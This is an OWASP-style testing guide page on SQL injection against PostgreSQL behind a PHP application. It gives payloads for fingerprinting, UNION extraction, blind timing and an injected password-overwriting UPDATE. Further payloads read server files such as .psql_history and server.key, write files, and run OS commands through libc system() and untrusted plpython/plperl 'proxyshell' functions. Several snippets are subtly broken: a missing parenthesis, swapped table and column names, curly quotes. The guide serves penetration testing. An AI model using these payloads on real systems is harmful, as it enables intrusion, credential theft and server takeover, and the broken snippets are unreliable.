OWASP Backend Security Project Testing PostgreSQL

= Short Description of the Issue =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed. Keep in mind the following peculiarities:


 * PHP Connector allows multiple statements to be executed by using ; as a statement separator
 * SQL Statements can be truncated by appending the comment char: --.
 * LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we assume that  http://www.example.com/news.php?id=1  is vulnerable to SQL Injection attacks.

= Black Box testing and example =

Identifing PostgreSQL
When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples: http://www.example.com/store.php?id=1 AND 1::int=1

The function version can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version,NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection
For blind SQL injection attacks, you should take in consideration the following built-in functions:


 * String Length
 * LENGTH(str)
 * Extract a substring from a given string
 * SUBSTR(str,index,offset)
 * String representation with no single quotes
 * CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting from 8.2 PostgreSQL has introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds.

In previous version, you can easyly create a custom pg_sleep(n) by using libc:
 * CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape
Strings can be encoded, to prevent single quotes escaping, by using chr function.

* chr(n): Returns the character whose ascii value corresponds to the number n  * ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root': select ascii('r') 114  select ascii('o') 111  select ascii('t') 116

We can encode 'root' as: chr(114)||chr(111)||chr(111)||chr(116)

Example: http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User
The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername

Examples: http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database
The built-in function current_database returns the current database name.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database,NULL,NULL--

Reading from a file
ProstgreSQL provides two ways to access a local file:
 * COPY statement
 * pg_read_file internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system with as the postgres user.

Example:

/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:
 * retrieves number of rows previously added in file_store with COPY statement
 * retrieve a row at time with UNION SQL Injection

Example: /store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file:

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

Examples:


 * SELECT pg_read_file('server.key',0,1000);

Writing to a file
By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library
Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:
 * CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:


 * create a stdout table
 * CREATE TABLE stdout(id serial, system_out text)
 * executing a shell command redirecting its stdout
 * SELECT system('uname -a > /tmp/test')
 * use a COPY statements to push output of previous command in stdout table
 * COPY stdout(system_out) FROM '/tmp/test'
 * retrieve output from stdout
 * SELECT system_out FROM stdout

 Example:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and can be enabled on a given database by CREATELANG


 * Check if PL/Python has been enabled on some databsae:
 * ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
 * If not, try to enable:
 * CREATE LANGUAGE plpythonu
 * If all of the above succeeded, create a proxy shell function:
 * CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read 'LANGUAGE plpythonu
 * Have fun with:
 * SELECT proxyshell(os command);

Example:

return os.popen(args[0]).read’ LANGUAGE plpythonu;-- ''
 * Create a proxy shell function:
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;


 * Run a OS Command:
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

plperl
Plperl allow to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so called application mask filtering of trusted/untrusted operations.


 * Check if PL/perl-untrusted has been enabled:
 * ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
 * If not, assuming that sysadm has already installed the plperl package, try :
 * CREATE LANGUAGE plperlu
 * If all of the above succeeded, create a proxy shell function:
 * CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",); LANGUAGE plperlu
 * Have fun with:
 * SELECT proxyshell(os command);

Example:


 * Create a proxy shell function:
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;


 * Run a OS Command:
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

= References =

OWASP : "Testing for SQL Injection"

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net